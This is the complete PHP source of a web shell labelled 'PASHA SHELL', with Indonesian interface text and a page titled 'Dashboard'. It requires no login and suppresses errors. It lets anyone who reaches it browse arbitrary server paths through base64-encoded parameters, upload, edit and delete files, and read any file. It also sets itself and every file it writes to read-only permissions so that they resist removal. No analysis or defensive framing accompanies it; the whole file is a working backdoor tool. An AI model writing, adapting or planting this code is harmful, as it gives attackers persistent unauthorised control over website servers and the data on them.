<?php
/**
 * PASHA SHELL - SIMPLIFIED VERSION
 */
session_start();
error_reporting(0);

$nickname = "USER";

// ====== [FUNGSI PROTEKSI] ======
function force_0444($path) {
    if (!file_exists($path)) return false;
    @chmod($path, 0444);
    @shell_exec("chmod 0444 " . escapeshellarg($path) . " 2>/dev/null");
    clearstatcache(true, $path);
    return true;
}

// Auto Protect Self
$current_file = __FILE__;
if ((@fileperms($current_file) & 0777) != 0444) {
    @chmod($current_file, 0444);
}

// Penentuan Path
$root = str_replace('\\', '/', getcwd());
$peta = (isset($_GET['peta'])) ? base64_decode($_GET['peta']) : $root;
$peta = str_replace('\\', '/', $peta);

// Aksi: Masukan Baru (Upload)
if (isset($_POST['aksi']) && $_POST['aksi'] == 'masukan') {
    $target = $peta . '/' . $_FILES['muatan']['name'];
    if (move_uploaded_file($_FILES['muatan']['tmp_name'], $target)) {
        force_0444($target);
    }
}

// Aksi: Buang (Hapus)
if (isset($_GET['aksi']) && $_GET['aksi'] == 'buang') {
    $target = base64_decode($_GET['target']);
    is_dir($target) ? rmdir($target) : unlink($target);
    header("Location: ?peta=" . base64_encode($peta));
    exit;
}

// Aksi: Simpan Perubahan (Edit)
if (isset($_POST['aksi']) && $_POST['aksi'] == 'simpan') {
    $f_target = base64_decode($_POST['target']);
    $handle = fopen($f_target, "w");
    fwrite($handle, $_POST['konten']);
    fclose($handle);
    force_0444($f_target);
}
?>
<html>
<head>
<title>Dashboard</title>
<style>
    body { background: #f4f4f4; color: #333; font-family: sans-serif; padding: 20px; font-size: 14px; }
    a { color: #2980b9; text-decoration: none; }
    table { width: 100%; background: #fff; border-radius: 5px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); }
    th, td { padding: 10px; text-align: left; border-bottom: 1px solid #eee; }
    .path-box { margin-bottom: 20px; padding: 10px; background: #ddd; border-radius: 3px; }
    textarea { width: 100%; height: 300px; border: 1px solid #ccc; padding: 10px; }
    .btn { background: #333; color: #fff; border: none; padding: 5px 10px; cursor: pointer; border-radius: 3px; }
</style>
</head>
<body>

    <div class="path-box">
        <strong>Lokasi:</strong> 
        <?php
        $paths = explode('/', $peta);
        foreach ($paths as $id => $pat) {
            if ($pat == '' && $id == 0) { echo '<a href="?peta='.base64_encode('/').'">/</a>'; continue; }
            if ($pat == '') continue;
            echo '<a href="?peta='.base64_encode(implode('/', array_slice($paths, 0, $id + 1))).'">'.$pat.'</a> / ';
        }
        ?>
    </div>

    <form method="POST" enctype="multipart/form-data" style="margin-bottom:20px;">
        <input type="file" name="muatan">
        <input type="hidden" name="aksi" value="masukan">
        <input type="submit" value="Kirim Data" class="btn">
    </form>

    <?php if (isset($_GET['aksi']) && $_GET['aksi'] == 'ubah'): 
        $file_edit = base64_decode($_GET['target']);
        $konten = htmlspecialchars(file_get_contents($file_edit));
    ?>
        <h3>Ubah: <?php echo basename($file_edit); ?></h3>
        <form method="POST">
            <textarea name="konten"><?php echo $konten; ?></textarea><br><br>
            <input type="hidden" name="target" value="<?php echo $_GET['target']; ?>">
            <input type="hidden" name="aksi" value="simpan">
            <input type="submit" value="Simpan Perubahan" class="btn"> 
            <a href="?peta=<?php echo base64_encode($peta); ?>">Batal</a>
        </form>
    <?php else: ?>
        <table>
            <tr>
                <th>Nama Barang</th>
                <th>Izin</th>
                <th>Opsi</th>
            </tr>
            <?php
            $items = scandir($peta);
            foreach ($items as $item) {
                if ($item == "." || $item == "..") continue;
                $jalur = $peta . '/' . $item;
                $enc = base64_encode($jalur);
                $is_dir = is_dir($jalur);
                $perms = substr(sprintf('%o', @fileperms($jalur)), -4);
                
                echo "<tr>";
                echo "<td>" . ($is_dir ? "<a href='?peta=$enc'>📁 $item</a>" : "📄 $item") . "</td>";
                echo "<td>$perms</td>";
                echo "<td>";
                if (!$is_dir) {
                    echo "<a href='?peta=".base64_encode($peta)."&aksi=ubah&target=$enc'>Ubah</a> | ";
                }
                echo "<a href='?peta=".base64_encode($peta)."&aksi=buang&target=$enc' onclick=\"return confirm('Buang?')\">Sampah</a>";
                echo "</td></tr>";
            }
            ?>
        </table>
    <?php endif; ?>

</body>
</html>
